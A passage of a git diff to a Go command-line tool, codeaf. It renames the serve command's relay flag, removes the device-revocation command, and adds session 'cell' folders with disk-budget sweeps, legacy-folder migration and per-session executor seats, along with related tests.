(string, error) { func runServe(args []string) error { flags := commandFlags("serve") workspace := flags.String("workspace", "", "directory a connection works in when it does not name one; empty is the directory this command was run in") - relayAddress := flags.String("relay", "", "the relay to be reachable through; empty reads "+pair.RelayEnv) + relayAddress := flags.String("via", "", "the sync address to be reachable through; empty reads "+pair.RelayEnv) + renamedFlag(flags, "relay", "via") if err := parseCommandFlags(flags, args); err != nil { return err } if flags.NArg() != 0 { - return errors.New("usage: codeaf serve [--workspace path] [--relay https://…]") + return errors.New("usage: codeaf serve [--workspace path] [--via https://…]") } service := strings.TrimSpace(*relayAddress) @@ -269,7 +269,7 @@ func runServe(args []string) error { if service == "" { // THE HONEST STATE, AND THE ONE MOST PEOPLE WILL MEET. The relay is a // service and this build does not assume one exists. - return errors.New("no relay is set up on this machine, so there is nowhere to be reachable from — set " + pair.RelayEnv + " to a relay's address, or let people in over ssh with `codeaf chat --host` from their side") + return errors.New("no sync address is set up on this machine, so there is nowhere to be reachable from — set " + pair.RelayEnv + " to your sync address, or let people in over ssh with `codeaf chat --host` from their side") } here := strings.TrimSpace(*workspace) @@ -285,20 +285,20 @@ func runServe(args []string) error { if err != nil { return err } + // ctrl+c is how this command ends, so it is caught rather than left to kill + // the process mid-registration: the machine gives its name up on the way + // out instead of leaving the relay to notice. + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() host := &pair.Host{ Service: service, Device: device, Devices: pair.DeviceBook(), Desk: &pair.Desk{}, + Approve: serveApprover(ctx, os.Stdin, os.Stdout), Say: func(line string) { fmt.Fprintln(os.Stdout, line) }, Open: func(tunnel io.ReadWriteCloser) { serveOneConnection(tunnel, here) }, } - - // ctrl+c is how this command ends, so it is caught rather than left to kill - // the process mid-registration: the machine gives its name up on the way - // out instead of leaving the relay to notice. - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) - defer stop() if err := host.Run(ctx); err != nil { return err } @@ -333,84 +333,3 @@ func serveOneConnection(tunnel io.ReadWriteCloser, workspace string) { fmt.Fprintln(os.Stderr, "that connection ended:", err) } } - -// ── the machine: codeaf devices ───────────────────────────────────────────── - -// runDevices lists the devices this machine lets in, and stops one. -// -// THE LIST AND THE STOPPING BOTH BELONG TO THIS MACHINE. A device cannot list -// itself out of somebody's machine and cannot stop another device; this command -// answers about the machine it is typed on, which is the same law the rest of -// codeaf keeps about remote surfaces. -func runDevices(args []string) error { - device, err := pair.ThisDevice(pair.OpenKeeper()) - if err != nil { - return err - } - book := pair.DeviceBook() - - if len(args) > 0 && args[0] == "revoke" { - return revokeDevice(book, args[1:]) - } - if askedForHelp(args) { - return commandHelp("devices") - } - if len(args) > 0 { - return fmt.Errorf("usage: codeaf devices [revoke [--all]]") - } - - paired, err := book.Devices() - if err != nil { - return err - } - fmt.Print(pair.DevicesList(device.Name(), paired, pair.OpenKeeper(), time.Now())) - known, err := pair.Machines() - if err != nil { - return err - } - fmt.Print(pair.MachinesList(known, time.Now())) - return nil -} - -// revokeDevice stops one device, or every device answering to one name. -// -// --ALL IS A FLAG LIKE EVERY OTHER FLAG IN THIS BINARY. It used to be read by -// hand, and only when it was the FIRST word after `revoke`, so `codeaf devices -// revoke laptop --all` was refused — with a usage line that did not mention -// `--all` at all. A person taking back access to their own machine was told the -// wrong grammar for the gesture they had just typed correctly. Through -// [commandFlags] and [reorder] it is now accepted in either position, printed -// by `codeaf devices revoke --help`, and named in the one usage table. -func revokeDevice(book *pair.Book, args []string) error { - flags := commandFlags("devices revoke") - all := flags.Bool("all", false, "stop every device answering to that name, not just the one") - if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { - return err - } - if flags.NArg() != 1 { - return errors.New("usage: codeaf devices revoke [--all] — `codeaf devices` lists the names") - } - name := flags.Arg(0) - if *all { - count, err := book.RevokeAll(name) - if err != nil { - return err - } - // ONE DEVICE STOPPED IS ONE DEVICE STOPPED, whichever flag was typed: - // `--all` over a name only one device answers to reads as the plain - // form, in the plain form's own sentence, rather than as a second kind - // of event with a count in front of it. - if count == 1 { - fmt.Println(pair.RevokedLine(name)) - return nil - } - fmt.Printf("%d devices called %s have been stopped — each needs a new pairing code to come back.\n", count, name) - return nil - } - gone, err := book.Revoke(name) - if err != nil { - return err - } - fmt.Println(pair.RevokedLine(gone.Label)) - return nil -} diff --git a/cmd/codeaf/chatv3_at_test.go b/cmd/codeaf/chatv3_at_test.go index f6f36b4ec5..68837d13dd 100644 --- a/cmd/codeaf/chatv3_at_test.go +++ b/cmd/codeaf/chatv3_at_test.go @@ -70,7 +70,7 @@ func TestWithNoRelayBothDoorsSayWhatIsWrongAndWhatToDoInstead(t *testing.T) { t.Fatal("--at opened a connection with no relay set up") } said := err.Error() - for _, want := range []string{"no relay is set up", "CODEAF_RELAY", "--host over ssh", "otter-lamp-42"} { + for _, want := range []string{"no service address is set up", "CODEAF_RELAY", "--host over ssh", "otter-lamp-42"} { if !strings.Contains(said, want) { t.Fatalf("--at with no relay said %q, which does not mention %q", said, want) } @@ -84,7 +84,7 @@ func TestWithNoRelayBothDoorsSayWhatIsWrongAndWhatToDoInstead(t *testing.T) { t.Fatal("codeaf serve started with no relay set up") } said = err.Error() - for _, want := range []string{"no relay is set up", "CODEAF_RELAY", "--host"} { + for _, want := range []string{"no sync address is set up", "CODEAF_RELAY", "--host"} { if !strings.Contains(said, want) { t.Fatalf("codeaf serve with no relay said %q, which does not mention %q", said, want) } diff --git a/cmd/codeaf/chatv3_beside_test.go b/cmd/codeaf/chatv3_beside_test.go index df02edf8b1..98ac000690 100644 --- a/cmd/codeaf/chatv3_beside_test.go +++ b/cmd/codeaf/chatv3_beside_test.go @@ -16,6 +16,7 @@ package main import ( "context" "fmt" + "github.com/Agent-Field/codeaf/internal/cell" "os" "path/filepath" "sync" @@ -167,8 +168,9 @@ func farHost(t *testing.T, far *farMachine) { stopped := make(chan error, 1) go func() { stopped <- enginehost.Run(far.workspace, enginehost.Options{ - Boot: far.boot, - Key: func(hello remote.Hello) string { return hello.Session }, + Cells: cell.Enabled(), + Boot: far.boot, + Key: func(hello remote.Hello) string { return hello.Session }, }) }() t.Cleanup(func() { diff --git a/cmd/codeaf/chatv3_budget.go b/cmd/codeaf/chatv3_budget.go new file mode 100644 index 0000000000..2e903323b3 --- /dev/null +++ b/cmd/codeaf/chatv3_budget.go @@ -0,0 +1,49 @@ +package main + +import ( + "context" + "fmt" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/enginehost" + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/session" +) + +// cellSweepEvery is how often a start looks at the disk budget. The look is +// cheap (sizes are cached), so this only bounds how often it is made. +const cellSweepEvery = time.Hour + +// cellBusy is the one way the harness knows a session holds a cell: the flock +// on its journal. +func cellBusy(c cell.Cell) bool { + path, err := c.Path(cell.TranscriptPath) + return err == nil && session.InUse(path) +} + +// budgetOnOpen readies the cell for its session: an evicted cell is written +// back, and the open is stamped for the least-recently-used order. It then +// starts the periodic sweep in the background. A failure to restore is +// returned by the caller's own open, which cannot read the missing files, so +// nothing here stops the open. +func budgetOnOpen(dir string) { + c, err := cell.OpenAt(dir, filepath.Base(dir)) + if err != nil { + return + } + m := cellBudget() + if m.Open(context.Background(), c) != nil { + return + } + guard.Go("chatv3/cell-budget", func() { _ = m.Auto(context.Background(), cellSweepEvery) }) +} + +// heldByEngineHint says why a cell can still read as held after every window +// closed: the resident engine keeps a chat's lock while it waits for someone to +// come back, and lets go on its own. +func heldByEngineHint() string { + return fmt.Sprintf("an engine lets an idle chat go %s after the last window closes; `codeaf engine --stop` lets go now", + roughAge(enginehost.SessionIdleAfter())) +} diff --git a/cmd/codeaf/chatv3_cells_test.go b/cmd/codeaf/chatv3_cells_test.go new file mode 100644 index 0000000000..afd5cc423d --- /dev/null +++ b/cmd/codeaf/chatv3_cells_test.go @@ -0,0 +1,231 @@ +package main + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/session" +) + +func mintOpened(t *testing.T, bucket, workspace string) session.Place { + t.Helper() + place, err := v3MintSession(bucket, workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + agent, _, _, err := openV3Agent(session.Config{ + Workspace: workspace, Model: "test/model", APIKey: "test-key", + BaseURL: "https://example.invalid/v1", + Place: place, SessionFile: place.Transcript(), + }, workspace, v3OpenSession) + if err != nil { + t.Fatalf("session did not open: %v", err) + } + // An agent left open keeps writing into the session folder after the test + // returns, which races the temp-dir cleanup and fails the test at random. + t.Cleanup(func() { _ = agent.Close() }) + return place +} + +func TestNewChatIsACellWhenTheFlagIsOn(t *testing.T) { + t.Setenv(cell.EnvVar, "1") + bucket, workspace := t.TempDir(), t.TempDir() + place := mintOpened(t, bucket, workspace) + + want := filepath.Join(place.Dir, cell.TranscriptPath) + if place.Transcript() != want { + t.Fatalf("transcript = %s, want %s", place.Transcript(), want) + } + if _, err := os.Stat(want); err != nil { + t.Fatalf("transcript not written in .cell: %v", err) + } + if _, err := os.Stat(filepath.Join(place.Dir, "transcript.jsonl")); !os.IsNotExist(err) { + t.Fatalf("a legacy transcript sits beside the cell: %v", err) + } + raw, err := os.ReadFile(filepath.Join(place.Dir, cell.MetaPath)) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(raw), bucket) || strings.Contains(string(raw), workspace) { + t.Fatalf("cell meta holds an absolute path: %s", raw) + } + + // Resume and listing find it through the same scan every launch uses. + spoken, empty := v3ScanBucket(bucket) + if len(spoken)+len(empty) != 1 || append(spoken, empty...)[0].dir != place.Dir { + t.Fatalf("listing = %v %v, want the cell", spoken, empty) + } + if folder, ok := session.FolderOf(place.Transcript()); !ok || folder != place.Dir { + t.Fatalf("FolderOf = %q %v", folder, ok) + } + if got := v3PlaceOf(place.Transcript(), workspace); got.Dir != place.Dir { + t.Fatalf("v3PlaceOf dir = %q, want %q", got.Dir, place.Dir) + } +} + +func TestNewChatIsALegacyFolderWhenTheFlagIsOff(t *testing.T) { + t.Setenv(cell.EnvVar, "0") + bucket, workspace := t.TempDir(), t.TempDir() + place := mintOpened(t, bucket, workspace) + + if want := filepath.Join(place.Dir, "transcript.jsonl"); place.Transcript() != want { + t.Fatalf("transcript = %s, want %s", place.Transcript(), want) + } + if _, err := os.Stat(filepath.Join(place.Dir, cell.StateDir)); !os.IsNotExist(err) { + t.Fatalf("flag off must not create .cell: %v", err) + } +} + +// legacyFolder writes a session folder the way a build without cells does: the +// real mint and the real agent, with a task journal beside the transcript. +func legacyFolder(t *testing.T, bucket, workspace string) session.Place { + t.Helper() + t.Setenv(cell.EnvVar, "0") + place, err := v3MintSession(bucket, workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + agent, _, _, err := openV3Agent(v3TestConfig(workspace, place), workspace, v3OpenSession) + if err != nil { + t.Fatalf("legacy session did not open: %v", err) + } + if err := agent.Close(); err != nil { + t.Fatal(err) + } + if err := os.MkdirAll(place.NodeJournals(), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(place.NodeJournals(), "n1.jsonl"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + return place +} + +func v3TestConfig(workspace string, place session.Place) session.Config { + return session.Config{ + Workspace: workspace, Model: "test/model", APIKey: "test-key", + BaseURL: "https://example.invalid/v1", + Place: place, SessionFile: place.Transcript(), + } +} + +func TestLegacyFolderMigratesOnResumeWhenTheFlagIsOn(t *testing.T) { + bucket, workspace := t.TempDir(), t.TempDir() + place := legacyFolder(t, bucket, workspace) + before, err := os.ReadFile(place.Transcript()) + if err != nil || len(before) == 0 { + t.Fatalf("legacy transcript: %v (%d bytes)", err, len(before)) + } + + t.Setenv(cell.EnvVar, "1") + cfg := v3Migrated(v3TestConfig(workspace, place)) + want := filepath.Join(place.Dir, cell.TranscriptPath) + if cfg.SessionFile != want { + t.Fatalf("session file = %s, want %s", cfg.SessionFile, want) + } + after, err := os.ReadFile(want) + if err != nil || string(after) != string(before) { + t.Fatalf("transcript changed by migration: %v", err) + } + for _, gone := range []string{"transcript.jsonl", cell.StateDir + "-staging"} { + if _, err := os.Stat(filepath.Join(place.Dir, gone)); !os.IsNotExist(err) { + t.Errorf("%s left behind: %v", gone, err) + } + } + if _, err := os.Stat(filepath.Join(place.NodeJournals(), "n1.jsonl")); err != nil { + t.Errorf("task journal lost: %v", err) + } + if filepath.Base(place.Dir) != place.ID() || len(place.ID()) != 16 { + t.Errorf("session id changed: %q", place.ID()) + } + + agent, _, _, err := openV3Agent(v3TestConfig(workspace, place), workspace, v3OpenSession) + if err != nil { + t.Fatalf("migrated session did not resume: %v", err) + } + _ = agent.Close() + spoken, empty := v3ScanBucket(bucket) + if len(spoken)+len(empty) != 1 { + t.Fatalf("listing = %v %v, want the migrated session", spoken, empty) + } +} + +func TestLegacyFolderStaysLegacyWhenTheFlagIsOff(t *testing.T) { + bucket, workspace := t.TempDir(), t.TempDir() + place := legacyFolder(t, bucket, workspace) + + cfg := v3Migrated(v3TestConfig(workspace, place)) + if cfg.SessionFile != place.Transcript() { + t.Fatalf("session file moved: %s", cfg.SessionFile) + } + if _, err := os.Stat(filepath.Join(place.Dir, cell.StateDir)); !os.IsNotExist(err) { + t.Fatalf("flag off must not create .cell: %v", err) + } + if _, err := os.Stat(filepath.Join(place.Dir, "transcript.jsonl")); err != nil { + t.Fatalf("legacy transcript gone: %v", err) + } +} + +func seatClass(t *testing.T, cfg session.Config, dir string) executor.Class { + t.Helper() + if cfg.Seat == nil { + t.Fatal("the session has no seat") + } + local, ok := cfg.Seat.In(dir).(executor.Local) + if !ok { + t.Fatalf("seat runner is %T; an unsealed workspace must hand out a plain local", cfg.Seat.In(dir)) + } + return local.Class +} + +func TestSeatFollowsTheCellsClass(t *testing.T) { + t.Setenv(cell.EnvVar, "1") + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + workspace := t.TempDir() + cfg := v3Seated(session.Config{Place: session.Place{Dir: c.Root, Workspace: workspace}}) + if got := seatClass(t, cfg, workspace); got != executor.Sandboxed { + t.Fatalf("class = %d, want sandboxed", got) + } +} + +// Two sessions in one process on the same path each keep the class their own +// cell declared: nothing is looked up by path. +func TestTwoSessionsOnOnePathKeepTheirOwnClasses(t *testing.T) { + t.Setenv(cell.EnvVar, "1") + workspace := t.TempDir() + seated := func(class cell.Class) session.Config { + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: class}) + if err != nil { + t.Fatal(err) + } + return v3Seated(session.Config{Place: session.Place{Dir: c.Root, Workspace: workspace}}) + } + sandboxed, host := seated(cell.Sandboxed), seated(cell.HostBound) + if a, b := seatClass(t, sandboxed, workspace), seatClass(t, host, workspace); a != executor.Sandboxed || b != executor.HostBound { + t.Fatalf("classes = %d and %d, want sandboxed and host-bound", a, b) + } +} + +func TestNoSeatWhenCellsAreOffOrTheFolderIsNoCell(t *testing.T) { + t.Setenv(cell.EnvVar, "0") + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + place := session.Place{Dir: c.Root, Workspace: t.TempDir()} + if cfg := v3Seated(session.Config{Place: place, Seat: executor.Host}); cfg.Seat != nil { + t.Fatal("flag off must leave the session on the host, and clear a stale seat") + } + t.Setenv(cell.EnvVar, "1") + other := session.Place{Dir: t.TempDir(), Workspace: t.TempDir()} + if cfg := v3Seated(session.Config{Place: other}); cfg.Seat != nil { + t.Fatal("a folder that is no cell must keep the legacy host rule") + } +} diff --git a/cmd/codeaf/chatv3_guard_class_test.go b/cmd/codeaf/chatv3_guard_class_test.go index e293825c4b..3b63463b5a 100644 --- a/cmd/codeaf/chatv3_guard_class_test.go +++ b/cmd/codeaf/chatv3_guard_class_test.go @@ -29,7 +29,9 @@ func TestV3ProcessGuardGoClass(t *testing.T) { "chatv3/models": {kind: "joined writer", stop: "warmModels waiter on the pool errand context, and the catalog's own warm context", join: "v3Process.closeAll calls stopPoolErrands for the waiter (since #1179) and Models.Close, which cancels and joins the internal/catalog warm"}, "engine/models": {kind: "joined writer", stop: "warmModels waiter on the pool errand context, and the catalog's own warm context", join: "v3Process.closeAll calls stopPoolErrands for the waiter (since #1179) and Models.Close, which cancels and joins the internal/catalog warm"}, "chatv3/sweep-home": {kind: "joined writer", stop: "v3Process.sweepCancel cancels the walk's context, checked between entries and before every destructive operation", join: "v3Process.closeAll calls stopPlaceSweep, which waits on sweepDone (since #1276)"}, + "chatv3/cell-budget": {kind: "one-shot", stop: "Manager.Auto returns after one pass; a process that exits inside it leaves a crash-safe state (pointer written before any file is removed)"}, "chatv3/background": {kind: "one-shot", stop: "repairBackgroundChecks returns after one bounded Drift/Install pass"}, + "chatv3/skill-import": {kind: "one-shot", stop: "ReconcileImportedSkills returns after one pass; the launch stops waiting after skillImportBudget and the pass is idempotent"}, "chatv3/once-questions": {kind: "one-shot", stop: "agent.Close closes the WatchQuestions channel consumed by the range"}, "chatv3/close-agent": {kind: "joined one-shot", stop: "Agent.Close is bounded", join: "v3Process.closeAll waits on waiting"}, "chatv3/payment-credits": {kind: "joined one-shot", stop: "processCtx is canceled and credits.Read is bounded", join: "v3Process.closeAll calls creditWatcher.close and waits"}, diff --git a/cmd/codeaf/chatv3_interrupted_test.go b/cmd/codeaf/chatv3_interrupted_test.go new file mode 100644 index 0000000000..3e180af4f0 --- /dev/null +++ b/cmd/codeaf/chatv3_interrupted_test.go @@ -0,0 +1,27 @@ +package main + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/session" +) + +type cutLines []string + +func (c cutLines) Lines() []string { return c } +func (cutLines) Note() string { return "" } +func (cutLines) Close() error { return nil } + +func TestV3InterruptedPutsOneLinePerCallUnderTheNotice(t *testing.T) { + cfg := session.Config{Interrupted: cutLines{"bash: a — cut", "bash: b — cut"}} + if got, want := v3Interrupted(cfg, "moved"), "moved\nbash: a — cut\nbash: b — cut"; got != want { + t.Fatalf("got %q, want %q", got, want) + } + if got := v3Interrupted(cfg, ""); strings.HasPrefix(got, "\n") || strings.Count(got, "\n") != 1 { + t.Fatalf("with no notice got %q", got) + } + if got := v3Interrupted(session.Config{}, "moved"); got != "moved" { + t.Fatalf("with nothing cut off got %q", got) + } +} diff --git a/cmd/codeaf/chatv3_layout.go b/cmd/codeaf/chatv3_layout.go index a9b25240f6..e9c0d131fe 100644 --- a/cmd/codeaf/chatv3_layout.go +++ b/cmd/codeaf/chatv3_layout.go @@ -32,8 +32,14 @@ import ( "sync" "time" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellindex" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/preflight" "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/tui3" ) // v3Dir is ~/.codeaf/v3: the directory this surface keeps its own files in — @@ -360,8 +366,8 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { return v3Session{}, fmt.Errorf("create session directory: %w", err) } _, statErr := os.Stat(path) - found := v3Session{Transcript: path, Resumed: statErr == nil, Bucket: filepath.Dir(filepath.Dir(path))} - if filepath.Base(path) != v3TranscriptName { + found := v3Session{Transcript: path, Resumed: statErr == nil, Bucket: session.BucketOf(path)} + if _, isFolder := session.FolderOf(path); !isFolder { bucket, err := v3ProjectDir(workspace) if err != nil { return v3Session{}, err @@ -374,8 +380,9 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { // owned, whatever the terminal it is being opened from looks like. A folder // with no meta.json yet takes the launch's posture. found.Place = v3PlaceOf(path, workspace) - if meta, _ := session.LoadMeta(filepath.Dir(path)); strings.TrimSpace(meta.ID) == "" && owned { - found.Place = v3PlaceFor(filepath.Dir(path), workspace, true) + dir := found.Place.Dir + if meta, _ := session.LoadMeta(dir); strings.TrimSpace(meta.ID) == "" && owned { + found.Place = v3PlaceFor(dir, workspace, true) } return found, nil } @@ -388,16 +395,12 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { // that is a fact about the conversation and not about the window opening it. func v3PlaceOf(transcript, workspace string) session.Place { transcript = strings.TrimSpace(transcript) - if transcript == "" || filepath.Base(transcript) != v3TranscriptName { + dir, ok := session.FolderOf(transcript) + if transcript == "" || !ok { return session.Place{} } - dir := filepath.Dir(transcript) - meta, _ := session.LoadMeta(dir) - root := strings.TrimSpace(meta.Workspace) - if root == "" { - root = workspace - } - return v3PlaceFor(dir, root, meta.Owned) + meta, _ := session.LoadMetaIn(dir, workspace) + return v3PlaceFor(dir, strings.TrimSpace(meta.Workspace), meta.Owned) } // v3PointAt aims one launch's config at a session folder: the journal inside @@ -437,12 +440,6 @@ func v3Reopen(cfg session.Config, transcript, workspace string) (session.Config, return v3PointAt(cfg, place) } -// v3TranscriptName is the journal's name inside a session folder. It is -// [session.Place.Transcript]'s last element, repeated here because this side -// has to RECOGNIZE one — a path a person typed — where the other side only ever -// builds them. -const v3TranscriptName = "transcript.jsonl" - // v3PlaceFor builds the Place for one session folder. The workspace follows // from the posture and never from a caller's opinion: an owned session's tools // root is its own work/, and a borrowed one's is the project it borrowed. @@ -461,10 +458,15 @@ func v3PlaceFor(dir, workspace string, owned bool) session.Place { // in another window sees the conversation from the moment it exists rather than // from the moment somebody speaks in it. func v3MintSession(bucket, workspace, launchDir string, owned bool) (session.Place, error) { - id := session.NewSessionID() - dir := filepath.Join(bucket, id) - if err := os.MkdirAll(dir, 0o700); err != nil { - return session.Place{}, fmt.Errorf("create session directory: %w", err) + return v3MintSessionAs(cell.Sandboxed, bucket, workspace, launchDir, owned) +} + +// v3MintSessionAs is [v3MintSession] for a session whose cell declares class: +// a chat is sandboxed, a run whose workers reach the run's record is not. +func v3MintSessionAs(class cell.Class, bucket, workspace, launchDir string, owned bool) (session.Place, error) { + id, dir, err := v3NewFolder(bucket, class) + if err != nil { + return session.Place{}, err } place := v3PlaceFor(dir, workspace, owned) // The write is not checked for the reason place.go gives: meta.json is a @@ -480,6 +482,25 @@ func v3MintSession(bucket, workspace, launchDir string, owned bool) (session.Pla return place, nil } +// v3NewFolder makes the empty folder a new session lives in and answers its id +// and path: a cell unless CODEAF_CELLS=0 (the session package finds its +// transcript in .cell/ by the folder's shape), a plain folder otherwise. +func v3NewFolder(bucket string, class cell.Class) (id, dir string, err error) { + if cell.Enabled() { + c, err := cell.CreateIn(bucket, cell.Options{Class: class}) + if err != nil { + return "", "", fmt.Errorf("create session directory: %w", err) + } + return c.ID, c.Root, nil + } + id = session.NewSessionID() + dir = filepath.Join(bucket, id) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", "", fmt.Errorf("create session directory: %w", err) + } + return id, dir, nil +} + // v3NextSession mints a sibling of the session a launch is already on: the same // bucket, the same borrowed-or-owned posture, a new id. It is what /new and a // contended resume both need — a second conversation about the same project — @@ -663,7 +684,9 @@ func v3EmptySession(dir string) bool { if spoken || !sure { return false } - for _, kept := range []string{place.Work(), place.Trees(), place.Artifacts()} { + // A sealed chain is something made in it: a run that worked in the cell said + // nothing, and its turns are the record of what it did. + for _, kept := range []string{place.Work(), place.Trees(), place.Artifacts(), filepath.Join(dir, cellstore.TurnsPath)} { if _, err := os.Stat(kept); err == nil { return false } @@ -703,3 +726,151 @@ func v3ReapEmpty(empty []v3Folder, keep string) { _ = os.RemoveAll(folder.dir) } } + +// v3Migrated moves a legacy session folder into the cell layout when cells are +// on, and points the config at the journal's new home. [openV3Agent] is the one +// door every open goes through, so this is the one place a folder is migrated. +// +// A failed migration is not a failed open: every state it can stop in opens +// (cell.MigrateLegacy), and the path is read back from the disk either way. +func v3Migrated(cfg session.Config) session.Config { + if !cell.Enabled() || cfg.Place.Dir == "" { + return cfg + } + _ = cell.MigrateLegacy(cfg.Place.Dir, session.TruthCarriers()...) + session.AdoptArtifacts(cfg.Place, artifactsIndexPath()) + budgetOnOpen(cfg.Place.Dir) + if cfg.Memory != nil { + _ = session.SealMemories(cfg.Place.Dir, cfg.Memory) + } + _, _ = cellindex.RebuildAt(cfg.Place.Dir, cfg.Place.Workspace) + cfg.SessionFile = cfg.Place.Transcript() + return cfg +} + +// v3Seated gives the session the executor it owns, built once here from the +// class the cell declared and the workspace its tools run in. +// +// A folder that is not a readable cell gets no seat and its calls run on the +// host as they always did, and so does every folder while cells are off. The +// seat is set on every call, so a config reused for the next conversation never +// carries the last one's executor. +func v3Seated(cfg session.Config) session.Config { + cfg.Seat, cfg.Machine, cfg.Seals, cfg.Interrupted = nil, nil, nil, nil + seat, machine, seals := v3SeatWith(cfg.Place, nil, syncDrives) + cfg.Seat, cfg.Interrupted = seat, executor.InterruptedOn(seat) + if machine != nil { + cfg.Machine = machine + } + if seals != nil { + cfg.Seals = seals + } + return cfg +} + +// v3SeatOf is the seat of the cell a place names, the machine view it was +// built with, and the watch of its seals — one per seat, so one per cell. A +// nil say queues the watch's sentences for the surface showing the session; +// a door with no surface passes where they go: the one construction every door that seals its calls goes +// through. A place that is not a readable cell answers no seat. +func v3SeatOf(place session.Place, say func(string)) (executor.Seat, *preflight.Machine, *cellstore.SealWatch) { + return v3SeatWith(place, say, nil) +} + +// v3SeatWith is v3SeatOf for a door that syncs: with a drive side for the cell +// every seal is also noted for the relay, and once another machine has taken +// the chat its tool calls are refused. A nil book, or sync off, is the seat +// exactly as it was. +func v3SeatWith(place session.Place, say func(string), drives *driveBook) (executor.Seat, *preflight.Machine, *cellstore.SealWatch) { + if !cell.Enabled() || place.Dir == "" || place.Workspace == "" { + return nil, nil, nil + } + c, err := cell.OpenAt(place.Dir, filepath.Base(place.Dir)) + if err != nil { + return nil, nil, nil + } + class, ok := executor.ParseClass(string(c.Meta().Class)) + if !ok { + class = executor.HostBound + } + machine, err := preflight.OpenMachine(c.Root, place.Workspace) + watch := &cellstore.SealWatch{Say: say} + failed(watch, err) + drive := drives.driveOf(c, cellstore.EngineFor(place.Workspace), watch.Report) + if drive != nil { + watch.OnTurnEnd = drive.Idle // the agent waits for the person: upload what is sealed now + } + seat, err := cellstore.SeatOver(class, c, place.Workspace, observerOf(machine), watch.Report, driveStore(drive), cellstore.WithNotices(watch.Note)) + failed(watch, err) + watch.OnTail = func() { sealTail(seat, drive) } + return executor.Gated(seat, driveGate(drive)), machine, watch +} + +// sealTail seals what the chat wrote after the turn-end seal (titles, summaries, +// memories) and sends it. It is the turn's own ending again, so the record has +// one way to become durable; the sync side's single flight folds it into the +// upload already running. The watch calls it from its own timer, once. +func sealTail(seat executor.Seat, drive *liveDrive) { + executor.Settle(context.Background(), seat) + if drive != nil { + drive.Idle() + } +} + +// observerOf is the machine's observer, and no observer where the inventory +// could not be opened: a call is never failed for want of a record. +func observerOf(m *preflight.Machine) executor.Observer { + if m == nil { + return nil + } + return m.Observer() +} + +// sealSeamOf is what a session's seals tell the chat surface: nothing for a +// session with no seat of its own. +// +// WHETHER THE LAST SEAL FAILED IS ASKED OF THE AGENT, not of the watch: the +// ordinary launch shows an agent running in a separate engine process, where +// the watch is not in this one and the engine states the fact over the wire +// ([session.Facts.Unsealed]). The agent's own predicate is the one source both +// readings come from. The sentences are drained from the local watch only; an +// engine tells its own on the turn's stream. +func sealSeamOf(agent any, seals session.SealState) tui3.SealSeam { + var seam tui3.SealSeam + if seals != nil { + seam = tui3.SealSeam{Failing: seals.Failing, Notice: seals.Take} + } + if door, ok := agent.(interface{ SealFailing() bool }); ok { + seam.Failing = door.SealFailing + } + return seam +} + +// stderrSay is where a run with no surface says its sentences. +func stderrSay(sentence string) { fmt.Fprintln(os.Stderr, "codeaf: "+sentence) } + +// failed tells the watch about a seat that could not be built, and is silent +// about one that could: a nil error there is no seal having held. +func failed(watch *cellstore.SealWatch, err error) { + if err != nil { + watch.Report(err) + } +} + +// hostSeated is the root of a command that runs work outside any conversation +// (do, exec, run, a carried program): its tool calls run on the host seat, and +// say so here once instead of at every site. +func hostSeated(ctx context.Context) context.Context { + return executor.With(ctx, executor.Host) +} + +// v3Interrupted is the entry notice with what a person reads about a last run +// that was cut off mid-call added under it: one line for each call, and nothing +// added when none was. +func v3Interrupted(cfg session.Config, notice string) string { + if cfg.Interrupted == nil { + return notice + } + lines := append([]string{notice}, cfg.Interrupted.Lines()...) + return strings.TrimSpace(strings.Join(lines, "\n")) +} diff --git a/cmd/codeaf/chatv3_pair.go b/cmd/codeaf/chatv3_pair.go new file mode 100644 index 0000000000..6c2597f0f6 --- /dev/null +++ b/cmd/codeaf/chatv3_pair.go @@ -0,0 +1,46 @@ +package main + +// The chat's door onto pairing: what `/pair` and `/pair ` reach through +// tui3.Pairing. It pairs THIS computer, the one at the keyboard, on every door +// the chat opens through, because that is the computer a person means by "share +// my chats" whether the conversation on screen runs here or over --at or --host. +// The relay, the identity and the joining side's home come from the same three +// helpers `codeaf pair` uses, so the two doors cannot disagree about where a +// code goes. + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// chatPairDoor is the surface's tui3.Pairing. +type chatPairDoor struct{} + +var _ tui3.Pairing = chatPairDoor{} + +// Offer shows a code and shares this computer's chats with the device that types +// it. Every error it returns is already the sentence a person reads. +func (chatPairDoor) Offer(ctx context.Context, ui pair.OfferUI) (string, error) { + route, err := pairMailbox("") + if err != nil { + return "", err + } + grant, err := pairGrant(route) + if err != nil { + return "", err + } + return pair.Offer(ctx, route, grant, ui) +} + +// Join types another computer's code and takes its chats, unless this 